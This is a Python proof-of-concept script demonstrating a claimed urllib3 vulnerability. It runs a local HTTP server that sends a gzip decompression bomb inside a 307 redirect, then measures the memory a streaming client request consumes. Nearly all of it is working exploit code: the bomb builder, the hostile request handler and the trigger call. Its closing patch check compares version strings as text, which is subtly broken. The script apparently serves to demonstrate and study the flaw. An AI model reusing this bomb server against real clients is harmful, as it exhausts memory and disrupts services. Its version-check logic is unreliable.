Vulnerable code sample

# A demonstration of CVE-2024-21441 in urllib3
#
# To run this code, you MUST use a vulnerable version of urllib3 and install psutil.
#
# 1. Uninstall any existing urllib3 version:
#    pip uninstall urllib3
#
# 2. Install a vulnerable version (e.g., 2.2.0 or 1.26.17):
#    pip install "urllib3<2.6.3,>=1.22"
#    # For example: pip install urllib3==2.2.0
#
# 3. Install psutil to monitor memory usage:
#    pip install psutil
#
# This script starts a malicious web server that responds to a request with a
# redirect (307) and a "decompression bomb" in the response body.
# The vulnerable client then makes a streaming request (preload_content=False)
# to this server.
#
# EXPECTED VULNERABLE BEHAVIOR:
# You will observe a massive spike in memory usage IMMEDIATELY after the
# `pool.request(...)` line is executed, even before any `read()` or `stream()`
# method is called on the response object. This is because the vulnerable
# library eagerly decompresses the entire body of the redirect response.

import http.server
import socketserver
import threading
import time
import gzip
import urllib3
import psutil
import os

# --- Configuration ---
HOST = "localhost"
PORT = 8000
BOMB_TARGET_SIZE_MB = 100  # Decompressed size in Megabytes

# --- Malicious Server Setup ---

# 1. Create the "decompression bomb" payload.
# This is a small gzipped file that expands to a very large size.
print(f"[*] Creating a gzipped bomb that will expand to {BOMB_TARGET_SIZE_MB}MB...")
# A large string of zeros is highly compressible.
original_data = b'0' * (BOMB_TARGET_SIZE_MB * 1024 * 1024)
# Compress the data using gzip.
compressed_bomb = gzip.compress(original_data)
print(f"[*] Bomb created. Original size: {len(original_data)/1024/1024:.2f}MB, Compressed size: {len(compressed_bomb)/1024:.2f}KB")


# 2. Define the HTTP request handler for the malicious server.
class MaliciousRedirectHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            print("\n[SERVER] Received initial request. Sending redirect with bomb...")
            self.send_response(307)  # Temporary Redirect
            self.send_header('Location', f'http://{HOST}:{PORT}/destination')
            self.send_header('Content-Encoding', 'gzip')
            self.send_header('Content-Length', str(len(compressed_bomb)))
            self.end_headers()
            self.wfile.write(compressed_bomb)
            print("[SERVER] Bomb sent.")
        elif self.path == '/destination':
            print("[SERVER] Received request to final destination.")
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(b'You have reached the final destination.')
        else:
            self.send_error(404)

    def log_message(self, format, *args):
        # Suppress default logging to keep output clean.
        return


# --- Vulnerable Client Demonstration ---

def run_vulnerable_client():
    # Use psutil to monitor the process's memory usage.
    process = psutil.Process(os.getpid())
    
    def get_memory_usage_mb():
        return process.memory_info().rss / (1024 * 1024)

    # Use a try...finally block to ensure the server is shut down.
    httpd = socketserver.TCPServer((HOST, PORT), MaliciousRedirectHandler)
    server_thread = threading.Thread(target=httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    print(f"[*] Malicious server running on http://{HOST}:{PORT}")
    time.sleep(1) # Give the server a moment to start.

    try:
        # Create a PoolManager. Redirects are enabled by default.
        pool = urllib3.PoolManager()
        
        # --- The Demonstration ---
        print("\n--- Starting Vulnerable Client ---")
        mem_before = get_memory_usage_mb()
        print(f"[CLIENT] Memory before request: {mem_before:.2f} MB")
        
        print("[CLIENT] Sending streaming request (preload_content=False)...")

        # THIS IS THE TRIGGER.
        # In vulnerable versions, urllib3 will follow the redirect, see the
        # 'Content-Encoding: gzip' header, and decompress the ENTIRE bomb
        # into memory before this function call even returns.
        response = pool.request(
            'GET',
            f'http://{HOST}:{PORT}/',
            preload_content=False
        )

        mem_after = get_memory_usage_mb()
        print(f"[CLIENT] ...request call finished.")
        print(f"[CLIENT] Memory after request: {mem_after:.2f} MB")
        print(f"[CLIENT] Memory Increase: {(mem_after - mem_before):.2f} MB")
        
        # Note that we have NOT called .read() or iterated over .stream() yet.
        # The damage from the decompression bomb has already been done.
        print("[CLIENT] The response body has not been read, but memory was consumed.")
        
        # We can now try to handle the final response.
        print(f"[CLIENT] Final response status: {response.status}")
        final_content = response.read()
        print(f"[CLIENT] Final response content: {final_content.decode()}")

        response.release_conn()

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
        mem_after_error = get_memory_usage_mb()
        print(f"[CLIENT] Memory after error: {mem_after_error:.2f} MB")

    finally:
        print("\n[*] Shutting down server...")
        httpd.shutdown()
        httpd.server_close()
        print("[*] Server stopped.")


if __name__ == "__main__":
    print("="*60)
    print("CVE-2024-21441 (urllib3 Decompression Bomb on Redirect) PoC")
    print(f"Using urllib3 version: {urllib3.__version__}")
    if urllib3.__version__ >= '2.6.3' or '1.26.18' in urllib3.__version__:
         print("\nWARNING: You are using a patched version of urllib3.")
         print("The vulnerability will likely not be triggered.")
    print("="*60)
    
    run_vulnerable_client()